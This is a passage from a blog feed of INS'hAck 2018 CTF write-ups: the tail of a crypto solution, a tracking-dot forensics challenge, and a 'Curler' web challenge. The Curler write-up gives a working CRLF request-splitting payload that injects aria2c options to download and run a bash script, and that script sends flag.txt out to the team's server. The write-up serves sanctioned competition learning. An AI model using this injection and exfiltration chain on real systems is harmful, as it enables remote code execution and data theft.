class="o">=</span> <span class="n">repeat</span><span class="p">(</span><span class="n">keystream</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">pk</span><span class="p">)).</span><span class="n">encode</span><span class="p">()</span> <span class="n">key</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">pk</span><span class="p">,</span> <span class="n">keystream</span><span class="p">)</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"privatekey"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span> </code></pre></div></div> Mon, 09 Apr 2018 23:00:00 +0000 https://jbzteam.github.io/inshack2018/music_is_frequency https://jbzteam.github.io/inshack2018/music_is_frequency Crypto INShAck2018 INS'hAck CTF 2018 - Virtual Printer <blockquote> <p>Hey ! Someone did something really smart to retrieve stolen documents. Will you find what it’s all about? https://virtual-printer.ctf.insecurity-insa.fr</p> </blockquote> <p>We are given the address of a “Virtual Printer Service”. By issuing a POST req to <code class="language-plaintext highlighter-rouge">/print</code> you’ll get a 2480x3508 image (that is the standard A4 @ 300 ppi) as raw PNG data. Again, requesting <code class="language-plaintext highlighter-rouge">/serial-number</code> with the base64 encoded S/N of the printer, will print out the flag.</p> <p>Reading the challenge, we rightly thought that we would have to deal with some sort of steganographic watermarking for documents (<a href="https://en.wikipedia.org/wiki/Machine_Identification_Code">MIC</a>).</p> <p>On this basis, we uploaded to the Virtual Printer service <a href="https://github.com/mathiasbynens/small/blob/master/png-transparent.png">a small transparent png file</a>, providing us an almost untouched blank sheet. Analyzing the printed sheet with <a href="http://www.caesum.com/handbook/stego.htm">StegSolve</a>, we find a matrix of dots in the blue plane 4 and 5. This same matrix is vertically repeated on 16 rows in the sheet.</p> <p><img src="https://raw.githubusercontent.com/jbzteam/CTF/master/INShAck2018/VirtualPrinter/dotMatrix.png" alt="The Dot Matrix" /></p> <p>A first look on the matrix made us suppose we were in front of the infamous DocuColor tracking dots, but comparing the size (15 by 8 dots for DocuColor, 64 by 8 for the Virtual Printer) and the format (no column parity or separators) of the two matrix, we quickly discarded this speculation (<a href="https://w2.eff.org/Privacy/printers/docucolor/">Thanks EFF!</a>).</p> <p><img src="https://raw.githubusercontent.com/jbzteam/CTF/master/INShAck2018/VirtualPrinter/overlayedDotMatrix.png" alt="The Overlayed Dot Matrix" /></p> <p>Simply decoding the matrix by 8-bit columns lead us to this output (e.g.):</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip:15110113147 d:8418 S/N:123456789123456789123456789 </code></pre></div></div> <p>showing the IPv4 address and the date of the request, other than the serial number. Note that only the keys like “ip:”,”d:” and “S/N:” were ascii encoded, not the values. To make matters worse, there was a 25-seconds expiration time slot from the occurrence of the print to the submission of the S/N.</p> <p>With a bit of ImageMagick and PIL, we hacked together a py script to solve it under 4 seconds. <a href="https://raw.githubusercontent.com/jbzteam/CTF/master/INShAck2018/VirtualPrinter/solveVirtualPrinter.py">Here’s the source</a>.</p> <p>This challenge was rather easy, but for many represented an issue because of the strictness of the validation side.</p> <p>Here are a few takeaways:</p> <ul> <li>Use curl. It will prevent argument url encoding being applied to your parameters for POST requests (seen with python requests).</li> <li>Try to include or strip CRLF characters before encoding to a base, and see what works for you!</li> </ul> Mon, 09 Apr 2018 14:00:00 +0000 https://jbzteam.github.io/inshack2018/Virtual_Printer https://jbzteam.github.io/inshack2018/Virtual_Printer Forensics INShAck2018 INS'hAck CTF 2018 - Curler <blockquote> <p>Show me some stats on my website! Have a look to my source code attached too! nc curler.ctf.insecurity-insa.fr 10001 <a href="https://static.ctf.insecurity-insa.fr/wrapper.py">source</a></p> </blockquote> <p>nc curler.ctf.insecurity-insa.fr 10001</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Launching your app.. 5.. 4.. 3.. 2.. 1.. Welcome to your FaaS <span class="o">(</span>Fetcher as a Service<span class="o">)!</span> This program allows you to fetch some stats on a given web url. Current config is: URL to fetch: http://insecurity-insa.fr Fetcher options: <span class="o">{</span><span class="s1">'timeout'</span>: 2, <span class="s1">'connect timeout'</span>: 2, <span class="s1">'max tries'</span>: 5, <span class="s1">'dry run'</span>: False<span class="o">}</span> Please choose your action: 1. Change the default configuration of our fetcher 2. Choose the URL you want us to inspect 3. Fetch! 4. Exit Choice? </code></pre></div></div> <p>From the source code we can observe a lot of limitations:</p> <ul> <li><code class="language-plaintext highlighter-rouge">url_to_fetch</code> must be valid JSON</li> <li><code class="language-plaintext highlighter-rouge">url_to_fetch</code> when parsed with <code class="language-plaintext highlighter-rouge">urlparse</code> must return the http scheme, a valid host and a path</li> <li><code class="language-plaintext highlighter-rouge">fetcher_options</code> is very limited and strictly controlled</li> <li>The outbound request is not made by the script itself but sent via POST to a Flask backend (but sources are not provided)</li> </ul> <p>Also, by using the service we can get these other informations:</p> <ul> <li>No response content is ever returned, only statistical data, so we only know if the request was succesfull or not</li> <li>The Flask backend application use aria2 to perform the requests:</li> </ul> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>connect to <span class="o">[</span>jbzserver] from ip-147-135-133.eu <span class="o">[</span>147.135.133.206] 57218 GET / HTTP/1.1 User-Agent: aria2/1.19.0 Accept: <span class="k">*</span>/<span class="k">*</span>,application/metalink4+xml,application/metalink+xml Host: jbzserver:8080 </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">aria2</code> is a C language lightweight download manager which supports a lot of protocols and options. It looks like the client script sends aria2 parameters and the destination url to the backend which then probably uses them via <code class="language-plaintext highlighter-rouge">subprocess</code>. Given the parametrization of the parameters they are probably used correctly (i.e.: no command injection with ;$() etc) so we should check <code class="language-plaintext highlighter-rouge">aria2</code> manual to see if there is any option that can be useful. However before looking into the command execution we need to find a way to send our custom parameters to tha backend.</p> <p>From the source code:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">fetch</span><span class="p">():</span> <span class="c1"># Hit local flask server </span> <span class="n">conn</span> <span class="o">=</span> <span class="n">HTTPConnection</span><span class="p">(</span><span class="n">fetcher_service</span><span class="p">,</span> <span class="mi">8888</span><span class="p">)</span> <span class="n">options</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">for</span> <span class="n">conf</span> <span class="ow">in</span> <span class="n">fetch_options</span><span class="p">.</span><span class="n">values</span><span class="p">():</span> <span class="n">options</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="s">"key"</span><span class="p">]</span> <span class="o">+</span> <span class="s">"="</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">conf</span><span class="p">[</span><span class="s">"value"</span><span class="p">]).</span><span class="n">lower</span><span class="p">())</span> <span class="n">params</span> <span class="o">=</span> <span class="n">bson</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span> <span class="s">"options"</span><span class="p">:</span> <span class="n">options</span> <span class="p">})</span> <span class="n">conn</span><span class="p">.</span><span class="n">request</span><span class="p">(</span><span class="s">"POST"</span><span class="p">,</span> <span class="s">"/?url="</span> <span class="o">+</span> <span class="n">url_to_fetch</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span> <span class="n">response</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">getresponse</span><span class="p">()</span> <span class="k">print</span><span class="p">(</span><span class="s">"Stats:"</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">decode</span><span class="p">())</span> <span class="k">print</span><span class="p">()</span> </code></pre></div></div> <p>As we can see they’re not using python’s <code class="language-plaintext highlighter-rouge">request</code> library but the raw <code class="language-plaintext highlighter-rouge">http.client</code>. Since <code class="language-plaintext highlighter-rouge">url_to_fetch</code> is appended without any particular sanitizations (aparte from being parse by <code class="language-plaintext highlighter-rouge">urlparse</code>) it’s possible to inject CRLF to perform an HTTP request Splitting: in practice we could add some newline characters we changing the <code class="language-plaintext highlighter-rouge">url_to_fetch</code> parameter and modify the request with our own body and headers. By controlling the <code class="language-plaintext highlighter-rouge">Content-Type</code> header we are able to force the backend server to discard the additional body added by the script.</p> <p>By running the original script locally in order to test the vulnerability we can see that using <code class="language-plaintext highlighter-rouge">"http://jbz.com/ HTTP/1.1\r\nheader: splitting-test"</code> as a url the backend would receive the following request:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>connect to <span class="o">[</span>127.0.0.1] from localhost <span class="o">[</span>127.0.0.1] 56362 POST /?url<span class="o">=</span>http://jbz.com/ HTTP/1.1 header: splitting-test HTTP/1.1 Host: 127.0.0.1:8888 Accept-Encoding: identity Content-Length: 109 moptions_0 <span class="nt">--timeout</span><span class="o">=</span>21--connect-timeout<span class="o">=</span>22--max-tries<span class="o">=</span>53--dry-run<span class="o">=</span><span class="nb">false</span> </code></pre></div></div> <p>So the splitting does work.</p> <p>However there’s still a problem: the body of the request is being produced by the <code class="language-plaintext highlighter-rouge">bson.dumps</code> functions which hash a binary output which is not being encoded. Since our payload need to be loaded from the <code class="language-plaintext highlighter-rouge">url</code> config via the <code class="language-plaintext highlighter-rouge">json.loads</code> we can’t directly send stuff like null bytes because JSON will fail. After a lot of testing we discovered that while <code class="language-plaintext highlighter-rouge">\x00</code> can’t be used because it’s a control character, it’s unicode equivalent, <code class="language-plaintext highlighter-rouge">\u0000</code> is indeed valid.</p> <p>The next step is to check the <code class="language-plaintext highlighter-rouge">aria2</code> manual to see if there are useful options:</p> <p>From <a href="http://aria2.github.io/manual/en/html/aria2c.html">the aria2c doc</a>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">--on-download-complete</span><span class="o">=</span>&lt;COMMAND&gt; Set the <span class="nb">command </span>to be executed after download completed. See See Event Hook <span class="k">for </span>more details about COMMAND. See also <span class="nt">--on-download-stop</span> option. Possible Values: /path/to/command </code></pre></div></div> <p>Let’s see an example of how arguments are passed to command:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>hook.sh <span class="c">#!/bin/sh</span> <span class="nb">echo</span> <span class="s2">"Called with [</span><span class="nv">$1</span><span class="s2">] [</span><span class="nv">$2</span><span class="s2">] [</span><span class="nv">$3</span><span class="s2">]"</span> <span class="nv">$ </span>aria2c <span class="nt">--on-download-complete</span> hook.sh http://example.org/file.iso Called with <span class="o">[</span>1] <span class="o">[</span>1] <span class="o">[</span>/path/to/file.iso] </code></pre></div></div> <p>The above options should help to achieve code execution but there are again limitations:</p> <ul> <li><code class="language-plaintext highlighter-rouge">/path/to/command</code> needs the executable permissions which we cannot set</li> <li>The first argument of <code class="language-plaintext highlighter-rouge">/path/to/command</code> is the GID of the download</li> </ul> <p>Luckly the GID of a download is random by default but it can be forced by the <code class="language-plaintext highlighter-rouge">--gid</code> option. The following aria2c command succesfully execute the payload located at <code class="language-plaintext highlighter-rouge">http://jbzserver/a41b1d2f5a2c2da7</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aria2c <span class="nt">--on-download-complete</span><span class="o">=</span>bash <span class="nt">--gid</span><span class="o">=</span>a41b1d2f5a2c2da7 http://jbzserver/a41b1d2f5a2c2da7 <span class="nt">--dry-run</span><span class="o">=</span><span class="nb">false</span> </code></pre></div></div> <p>Here’s the final payload prepared for the request splitting and unicode encoded:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"http://jbzserver:8080/a41b1d2f5a2c2da7 HTTP/1.1</span><span class="se">\r\n</span><span class="s2">Host: localhost</span><span class="se">\r\n</span><span class="s2">Accept-Encoding: identity</span><span class="se">\r\n</span><span class="s2">Content-Length: 126</span><span class="se">\r\n\r\n\u</span><span class="s2">007e</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0004</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">0070</span><span class="se">\u</span><span class="s2">0074</span><span class="se">\u</span><span class="s2">0069</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">006e</span><span class="se">\u</span><span class="s2">0073</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0070</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0002</span><span class="se">\u</span><span class="s2">0030</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0010</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">0072</span><span class="se">\u</span><span class="s2">0079</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0072</span><span class="se">\u</span><span class="s2">0075</span><span class="se">\u</span><span class="s2">006e</span><span class="se">\u</span><span class="s2">003d</span><span class="se">\u</span><span class="s2">0066</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">006c</span><span class="se">\u</span><span class="s2">0073</span><span class="se">\u</span><span class="s2">0065</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0002</span><span class="se">\u</span><span class="s2">0031</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">001c</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">006e</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">0077</span><span class="se">\u</span><span class="s2">006e</span><span class="se">\u</span><span class="s2">006c</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0063</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">006d</span><span class="se">\u</span><span class="s2">0070</span><span class="se">\u</span><span class="s2">006c</span><span class="se">\u</span><span class="s2">0065</span><span class="se">\u</span><span class="s2">0074</span><span class="se">\u</span><span class="s2">0065</span><span class="se">\u</span><span class="s2">003d</span><span class="se">\u</span><span class="s2">0062</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">0073</span><span class="se">\u</span><span class="s2">0068</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0002</span><span class="se">\u</span><span class="s2">0032</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">000c</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0074</span><span class="se">\u</span><span class="s2">0069</span><span class="se">\u</span><span class="s2">006d</span><span class="se">\u</span><span class="s2">0065</span><span class="se">\u</span><span class="s2">006f</span><span class="se">\u</span><span class="s2">0075</span><span class="se">\u</span><span class="s2">0074</span><span class="se">\u</span><span class="s2">003d</span><span class="se">\u</span><span class="s2">0032</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0002</span><span class="se">\u</span><span class="s2">0033</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0017</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">002d</span><span class="se">\u</span><span class="s2">0067</span><span class="se">\u</span><span class="s2">0069</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">003d</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">0034</span><span class="se">\u</span><span class="s2">0031</span><span class="se">\u</span><span class="s2">0062</span><span class="se">\u</span><span class="s2">0031</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">0032</span><span class="se">\u</span><span class="s2">0066</span><span class="se">\u</span><span class="s2">0035</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">0032</span><span class="se">\u</span><span class="s2">0063</span><span class="se">\u</span><span class="s2">0032</span><span class="se">\u</span><span class="s2">0064</span><span class="se">\u</span><span class="s2">0061</span><span class="se">\u</span><span class="s2">0037</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\u</span><span class="s2">0000</span><span class="se">\r\n\r\n</span><span class="s2">"</span> </code></pre></div></div> <p>For completeness, here’s the payload:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span> aria2c http://jbzserver:8080/?resp<span class="o">=</span><span class="si">$(</span><span class="nb">cat </span>flag.txt | <span class="nb">base64</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span><span class="si">)</span> </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Serving HTTP on 0.0.0.0 port 8080 ... 213.32.74.44 - - <span class="o">[</span>09/Apr/2018 10:23:37] <span class="s2">"GET /a41b1d2f5a2c2da7 HTTP/1.1"</span> 200 - 213.32.74.44 - - <span class="o">[</span>09/Apr/2018 10:23:38] <span class="s2">"GET /?resp=SU5TQXt3cm9uZ19saWJzX2NvbWJpbmF0aW9uP19vcl9iYWRfcHJvZ3JhbW1lcj99 HTTP/1.1"</span> 200 - </code></pre></div></div> <p>The flag was <code class="language-plaintext highlighter-rouge">INSA{wrong_libs_combination?_or_bad_programmer?}</code>.</p> Mon, 09 Apr 2018 12:46:00 +0000 https://jbzteam.github.io/inshack2018/Curler https://jbzteam.github.io/inshack2018/Curler Web INShAck2018